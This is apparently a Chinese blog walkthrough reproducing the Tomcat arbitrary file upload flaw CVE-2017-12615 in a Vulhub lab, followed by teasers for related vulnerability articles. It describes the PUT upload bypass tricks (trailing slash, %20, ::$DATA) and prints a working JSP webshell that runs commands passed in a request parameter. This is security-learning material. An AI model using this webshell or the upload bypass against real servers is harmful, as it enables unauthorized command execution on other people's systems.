代码编织梦想

今天继续给大家介绍渗透测试相关知识,本文主要内容是CVE-2017-12615 Tomcat任意文件上传漏洞详解。

免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!

一、漏洞简介

Tomca的7.0.0 - 7.0.79(7.0.81修复不完全)版本存在一个任意文件上传漏洞,漏洞编号CVE-2017-12615。该漏洞的形成有一部分是因为Tomcat配置不当,启用了PUT的方法(例如将readonly参数由初始值设置为false),这样就会允许未经验证身份的用户上传文件。攻击者就可以利用这一点来上传webshell,导致上传文件中的恶意JSP代码执行。

二、Vulhub漏洞环境启动

接下来,我们就使用Vulhub来快速搭建漏洞环境,Vulhub靶场的下载和安装请参考:Vulhub漏洞靶场搭建和使用
我们在安装好Vulhub靶场后,执行命令:

docker-compose build

即可远程拉取靶场,该命令执行过程如下所示:
在这里插入图片描述
执行结束后如下所示:
在这里插入图片描述
靶场拉取完毕后,就可以启动靶场了,靶场启动命令是:

docker-compose up -d

该命令执行结果如下所示:
在这里插入图片描述
靶场启动完成后,可以执行命令:

docker-compose config

来查看靶场的配置,该命令执行结果如下所示:
在这里插入图片描述
这样,我们就可以看到,我们的靶场已经启动成功,并且开放了8080的端口供我们访问。

三、漏洞实战

接下来,我们就可以进行实战了。
首先,我们先抓取一个访问该站点的数据包,如下所示:
在这里插入图片描述
接下来,我们将该数据包发送到Repeater模块,将数据包中的方法改为PUT,并访问的URL改成我们想要上传的文件名称,注意,在这里要在最后加上一个斜杠,否则上传会报错,在数据包的最后,加上PUT的内容,就是我们要上传的文件中的内容,构造完成后的数据包如下所示:
在这里插入图片描述
从上图中可以看出,我们发送上传后的数据包后,发现201的回显,这证明我们的文件上传成功!
我们可以访问我们上传后的文件(注意要去掉最后的斜杠),发送可以成功访问,如下所示:
在这里插入图片描述
同样的,我们可以把文件名称后的斜杠换成%20或者是::$DATA,可以起到同样的效果,这两种方式的文件上传数据包构建如下所示:

在这里插入图片描述
在这里插入图片描述
这两种方式上传文件访问(注意以这两种方式访问,需要在后面添加%20或者是::$DATA)结果如下所示:
在这里插入图片描述
在这里插入图片描述
接下来开始实战,我们把上述简单的测试内容换成JSP的带回显的木马,内容如下所示:

<%
    java.io.InputStream is = Runtime.getRuntime()
                            .exec(request.getParameter("command"))
                            .getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    while ((a = is.read(b)) != -1) {
        out.print(new String(b));
    }
%>

然后将其作为数据包的内容,以同样的方式上传,数据包构造以及上传结果如下所示:
在这里插入图片描述
这样,我们就可以通过command参数的控制来执行命令了,结果如下所示:
在这里插入图片描述
原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_40228200/article/details/127129324

struts2 最新高危漏洞详解_弹吉他的ztt的博客-爱代码爱编程_struts2高危漏洞

由于计算机起源于美国,因此很多新兴技术和框架也都出于美国的一些大公司。虽然国内的BAT也在开源技术上有一些贡献,但目前来说还是比较缺少用户来支持。这也就导致了国内大部分互联网公司大量的依赖国外的技术。如果某些开源框架出了高危漏洞,就将影响一大批中国互联网公司。 最近 Struts2 又爆出了一个高危漏洞,据说影响了大半个中国互联网。涵盖金融、教育、医疗、电

攻击javaweb应用————7、server篇(上)_fly_鹏程万里的博客-爱代码爱编程

java应用服务器 Java应用服务器主要为应用程序提供运行环境,为组件提供服务。Java 的应用服务器很多,从功能上分为两类:JSP 服务器和 Java EE 服务器。 常见的Server概述 常见的Java服务器:Tomcat、Weblogic、JBoss、GlassFish、Jetty、Resin、IBM Websphere、Bejy Tiger、

攻击javaweb应用[7]-server篇[1]_weixin_33835690的博客-爱代码爱编程

园长 · 2013/09/22 15:39 java应用服务器 Java应用服务器主要为应用程序提供运行环境,为组件提供服务。Java 的应用服务器很多,从功能上分为两类:JSP 服务器和 Java EE 服务器。 常见的Server概述 常见的Java服务器:Tomcat、Weblogic、JBoss、GlassFish、J

Tomcat 爆出高危漏洞!-爱代码爱编程

作者丨Hu3sky 来源丨java专栏www.anquanke.com/post/id/199448 一、漏洞背景 安全公告编号:CNTA-2020-0004 2020年02月20日, 360CERT 监测发现 国家信息安全漏洞共享平台(CNVD) 收录了 CNVD-2020-10487 Apache Tomcat文件包含漏洞。 CNV

近日 Tomcat 爆出高危漏洞!-爱代码爱编程

一、漏洞背景 安全公告编号:CNTA-2020-0004 2020年02月20日, 360CERT 监测发现 国家信息安全漏洞共享平台(CNVD) 收录了 CNVD-2020-10487 Apache Tomcat文件包含漏洞。 CNVD-2020-10487/CVE-2020-1938是文件包含漏洞,攻击者可利用该高危漏洞读取或包含 To

Elasticsearch写入webshell漏洞 WooYun-2015-110216 漏洞复现-爱代码爱编程

Elasticsearch写入webshell漏洞(WooYun-2015-110216) by ADummy 0x00利用路线 ​ 创建一个恶意索引文档—>创建一个恶意的存储库—>存储库验证并创建—>写入webshell 0x01漏洞介绍 ​ ElasticSearch具有备份数据的功能,用户可以传入一个路径,让其将数据备份到

详解苹果 macOS Mail 中的零点击漏洞-爱代码爱编程

 聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 本文作者 Mikko Kenttälä 在 Apple Mail 中发现了一个零点击漏洞,可添加或修改 Mail 沙箱环境中的任意文件。结果可导致多种恶意后果如在未授权情况下向第三方披露敏感信息等。攻击者可修改受害者的 Mail 配置如邮件重定向,通过密码重置接管受害者的其它账户。

Web常见漏洞描述及修复建议详解--纯干货-爱代码爱编程

1.SQL注入   漏洞描述 Web程序中对于用户提交的参数未做过滤直接拼接到SQL语句中执行,导致参数中的特殊字符破坏了SQL语句原有逻辑,攻击者可以利用该漏洞执行任意SQL语句,如查询数据、下载数据、写入webshell、执行系统命令以及绕过登录限制等。 修复建议 代码层最佳防御sql漏洞方案:使用预编译sql语句查询和绑定变量。 (1)使用预

CVE-2020-1938漏洞复现及原理分析-爱代码爱编程

漏洞影响范围包括 Apache Tomcat 6 Apache Tomcat 7 < 7.0.100 Apache Tomcat 8 < 8.5.51 Apache Tomcat 9 < 9.0.31 这里 使用 Apache Tomcat/8.0.15 版本 附上下载链接https://archive.apache.org/d

Spring 框架相关漏洞详解合集-爱代码爱编程

虽说是 Spring 框架漏洞,但以下包含并不仅 Spring Framework,Spring Boot,还有 Spring Cloud,Spring Data,Spring Security 等。 CVE-2010-1622 Spring Framework class.classLoader 类远程代码执行 影响版本:SpringSourc

CVE-2022-22965分析复现-爱代码爱编程

0x01 前置知识 Introspector类 javabean通常是用来做数据封装的java类,为了方便数据的读取与写入,会有getter/setter方法来对数据进行操作,在jdk中有一个Introspector类,通过该类的方法可以获取javabean的相关信息,包括javabean中的属性值,以及属性值对应的getter/setter方法。

CVE-2022-22965 漏洞复现学习-爱代码爱编程

一、漏洞利用条件 JDK 9+Spring 及其衍生框架使用Tomcat部署spring项目使用了POJO参数绑定Spring Framework 5.3.X < 5.3.18 、2.X < 5.2.20 或者其他版本二、环境搭建 Java 靶场JDK 11(必须9及9以上)Tomcat 81. 首先需要个实体类 public class

干货|最全的tomcat漏洞复现_开源linux的博客-爱代码爱编程

简介 Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。由于有了Sun 的参与和支持,最新的Servlet 和JSP 规范总是能在Tomcat 中得到体现,Tomcat 5支持最新的Servlet 2.4